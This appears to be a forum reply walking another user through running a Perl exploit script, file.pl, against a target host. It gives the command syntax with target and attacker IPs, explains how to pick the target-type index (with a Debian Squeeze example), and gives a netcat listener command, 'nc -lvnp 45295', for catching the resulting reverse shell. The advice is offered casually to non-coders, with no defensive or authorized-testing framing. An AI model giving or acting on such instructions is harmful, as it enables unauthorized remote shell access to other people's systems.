A) make sure your target is running the specific software. B) file.pl <target ip/host> <your ip> <target type>
target type is the hardest to grasp... if i've read the VERY awesome code right then you must enter the target in the first array at the start of the code. If you look at the screenshot he/she is targetting debian squeeze which is $targets[4] however he's entered '5' as the target in the initial command to start the exploit. All I can say is that the target type is probably the placement in the array, so if it's the 2nd option/target in the list you want, minus 1 as the first place in an array is 0.
C) Open netcat "nc -lvnp 45295" - 45295 being the port that the shell in this case is on.
EDIT: If only it were that simple for any non-coder chronic :P Everyone would be doing this shit.
You'll be fine i'm sure hardcore :) Nice to see someone asking about stuff like that... many don't bother, usually saying if it doesn't work it's broken.